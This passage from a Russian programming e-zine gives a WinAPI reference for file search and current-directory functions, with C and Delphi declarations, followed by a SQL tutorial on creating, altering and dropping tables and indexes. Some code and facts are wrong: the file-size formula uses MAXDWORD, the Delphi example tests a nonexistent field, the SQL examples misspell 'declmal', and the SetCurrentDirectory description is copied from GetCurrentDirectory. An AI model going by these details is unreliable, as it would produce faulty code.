Расмотрим структуру WIN32_FIND_DATA немного подробнее: typedef struct _WIN32_FIND_DATA { DWORD dwFileAttributes; // Атрибуты файла FILETIME ftCreationTime; // Время создания FILETIME ftLastAccessTime; //Время последнего доступа FILETIME ftLastWriteTime; //Время последней записи в файл DWORD nFileSizeHigh; //Верхний байт размера файла DWORD nFileSizeLow; //Нижний байт размера файла DWORD dwReserved0; //Зарезервировано DWORD dwReserved1; //Зарезервировано TCHAR cFileName[ MAX_PATH ]; //Имя файла TCHAR cAlternateFileName[ 14 ]; //Имя файла для отображения в DOS (8:3) } WIN32_FIND_DATA; Атрибутами файла может быть комбинация из флагов: • • • • • • • •
FILE_ATTRIBUTE_ARCHIVE - архивный FILE_ATTRIBUTE_COMPRESSED - сжатый FILE_ATTRIBUTE_HIDDEN - скрытый FILE_ATTRIBUTE_NORMAL - нормальный FILE_ATTRIBUTE_OFFLINE - данные файла недоступны FILE_ATTRIBUTE_READONLY - только для чтения FILE_ATTRIBUTE_SYSTEM - системный FILE_ATTRIBUTE_TEMPORARY - временный
Размер файла разложен на два байта. Чтоб получить полный размер файла нужно выполнить действие (FInfo.nFileSizeHigh * MAXDWORD) + FInfo.nFileSizeLow. Это не самый эффективный (эффективнее сдвигать), но самый понятный способ. Функция возвращает указатель на найденный файл, если нет то возврат будет типа ERROR_NO_MORE_FILES.
FindNextFile Функция продолжает поиск начатый с помощью FindFirstFile. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ BOOL FindNextFile( HANDLE hFindFile, // Указатель на файл из предыдущего поиска LPWIN32_FIND_DATA lpFindFileData // Информация о файле ); Для Delphi function FindNextFile( hFindFile: THandle; // Указатель на файл из предыдущего поиска
http://www.vr-online.ru
42
VR-online Journal (Horrific and VR-Team)
Для программистов №9
var lpFindFileData: TWIN32FindData // Информация о файле ): BOOL; stdcall; Со вторым параметром всё ясно, он такой же, как и у FindFirstFile. А вот первый - это указатель на файл из предыдущего поиска. Он нужен, чтобы функция FindNextFile знала на каком файле ты остановил поиск и какой надо найти следующим. Немного позже мы расмотрим реальный пример, чтобы тебе стало понятнее. Если всё ничтяк, то функция вернёт TRUE
FindClose Функция завершает поиск файлов. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ BOOL FindClose( HANDLE hFindFile );
// Указатель на последний найденный файл
Для Delphi function FindClose( hFindFile: THandle // Указатель на последний найденный файл ): BOOL; stdcall;
Если всё ничтяк, то функция вернёт TRUE
Пример для FindFirstFile, FindNextFile, FindClose var FileName: string; FindHandle:THandle; SearchRec:TWIN32FindData; begin try FindHandle := FindFirstFile('c:\*.*', SearchRec); if SearchRec.FindHandle <> INVALID_HANDLE_VALUE then repeat FileName:=SearchRec.cFileName until FindNextFile(FindHandle,SearchRec)=false; finally Windows.FindClose(FindHandle); end; end;
http://www.vr-online.ru
43
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Если ты пишешь на Delphi, то советую прочитать статью "Работа с файлами" за декабрь 2000.
GetCurrentDirectory Функция позволяет узнать текущую директорию, с которой сейчас работает твоя прога. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ DWORD GetCurrentDirectory( DWORD nBufferLength, // Размер буфера, в котором будет храниться путь LPTSTR lpBuffer // Сам буфер ); Для Delphi function GetCurrentDirectory( nBufferLength: DWORD; // Размер буфера, в котором будет храниться путь lpBuffer: PChar // Сам буфер ): DWORD; stdcall; Если произошла ошибка, то функция вернёт 0. Если всё ничтяк, то она вернёт длину lpBuffer в котором хранится путь текущей директории.
SetCurrentDirectory Функция позволяет узнать текущую директорию, с которой сейчас работает твоя прога. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ BOOL SetCurrentDirectory( LPCTSTR lpPathName // Новая диретория ); Для Delphi function SetCurrentDirectory( lpPathName: PChar // Новая диретория ): BOOL; stdcall;
http://www.vr-online.ru
44
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Если произошла ошибка, то функция вернёт 0. Если всё ничтяк, то она вернёт не ноль. Ну всё, на сегодня хватит. Я и так уже накатал 20 кило инфы. В следующий раз продолжим Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
45
VR-online Journal (Horrific and VR-Team)
Для программистов №9
SQL: Создание, изменение и удаление таблиц Я уже расказал практически все основы языка SQL. Теперь, с каждым разом материал становится всё сложнее и сложнее, хотя я стараюсь преподнести его как можно проще. Вот таким образом мы подобрались к вопросу создания изменения и удаления таблиц с помощью SQL. Для создания таблицы используется команда CREATE TABLE, которая создаёт пустую таблицу. После этой команды нужно определить столбцы, их типы и размер. CREATE TABLE ( <Имя столбца > <Тип> [(<Размер>)], <Имя столбца > <Тип> [(<Размер>)] ... ); Обрати внимание, что <Размер> я показал в квадратных скобках, потому что не все типы данных требуют указания размера поля. Давай посмотрим, какие бывают типы данных: • •
• • • • • •
CHAR или CHARACTER - Cтроковое поле. В качестве размера используется длина строки. DEC или DECIMAL - Десятичное число, т.е. число с дробной частью. Размер состоит из двух частей - точность и масштаб. Эти параметры нужно указывать через запятую. Точность показывает сколько значащих цифр имеет число. Масштаб показывает количество знаков после запятой. Если масштаб равен нулю, то число становится эквивалентом целого. NUMERIC - Такое же как DECIMAL. Разница только в том, что максимальное десятичное не может превышать аргумента точности. FLOAT - Опять число с плавоющей точной, только в этом случае размер указывается одним числом, которое указывает на минимальную точность. REAL - то же, что и FLOAT, только размер не указывается, а берётся из системы поумолчанию. DOUBLE - то же, что и REAL, только размер побольше (чаще всего в два раза). INT или INTEGER - целое число. Размер указывать не надо, он подставляется автоматически. SMALLINT - то же, что и INTEGER, только его размер меньше. В большинстве случаев, если точность INTEGER равна 2 байтам, то точность SMALLINT равна 1 байту.
Сразу врываемся в реальный пример: CREATE TABLE NovayaTablica (id integer, name char (10), city char (10), Metr declmal); Этот запрос создаёт таблицу с именем NovayaTablica и четырмя полями.
http://www.vr-online.ru
46
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Теперь я хочу открыть один маленький секрет. Когда ты работаешь с такими базами, как Access, то ты можешь использовать в качестве имён таблиц или полей русские слова. А самое главное, что эти слова мугут включать пробелы, например, ты можешь назвать таблицу как "Новая таблицы". Как же тогда обратится из запроса к такой таблице? Все названия включающие в себя пробелы должны заключатся в квадратные скобки. CREATE TABLE [Новая таблица] (Идентификатор integer, Имя char (10), [Место расположения] char (10), Метраж declmal); Обрати внимание, что все составные имена заключены в квадратные скобки. При работе с запросом, ты так же должен использовать такие скобки: Select * From [Новая таблица] WHERE Идентификатор=10 and [Место расположения] LIKE 'Москва'; Всё прекрасно, но не все базы данных позволяют использовать русские и составные имена. Теперь поговорим о создании индексов. В общем виде это выглядит так: CREATE INDEX <Имя индекса> ON <Имя таблицы> (<Имя поля> [,<Имя поля>]...); А вот и реальный пример: CREATE INDEX NewIndex ON NewTable (name); Здесь создаётся новый индекс с именем NewIndex в таблице NewTable для name. Если ты захочешь создать уникальный индекс, то ты должен написать так: CREATE UNIQUE INDEX NewIndex ON NewTable (name); При создании простых индексов ты можешь указать в скобках несколько полей, например: CREATE INDEX NewIndex ON NewTable (name, city); Это создаст составной индекс и проиндексирует таблицу сразу по двум полям name и city. ПОМНИ: При создании уникальных индексов такого делать нельзя. Поле должно быть одно. Теперь поговорим о добавлении новых столбцов. Для этого существует команда ALTER TABLE. Вот так она выглядит в общем виде: ALTER TABLE <Имя таблицы> ADD <Имя поля> <Тип> <Размер>; Например:
http://www.vr-online.ru
47
VR-online Journal (Horrific and VR-Team)
Для программистов №9
ALTER TABLE Справочник ADD [Новое поле] INTEGER Итак, мы так долго старались, а теперь одним махом уничтожим всё, что тут натворили. Для удаления полей используй: ALTER TABLE [Имя таблицы] DROP [Имя поля] А для удаления таблиц используется команда DROP TABLE: DROP TABLE < Имя таблицы >; Вот и всё, что я хотел тебе сегодня расказать. Удачи!!! Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
48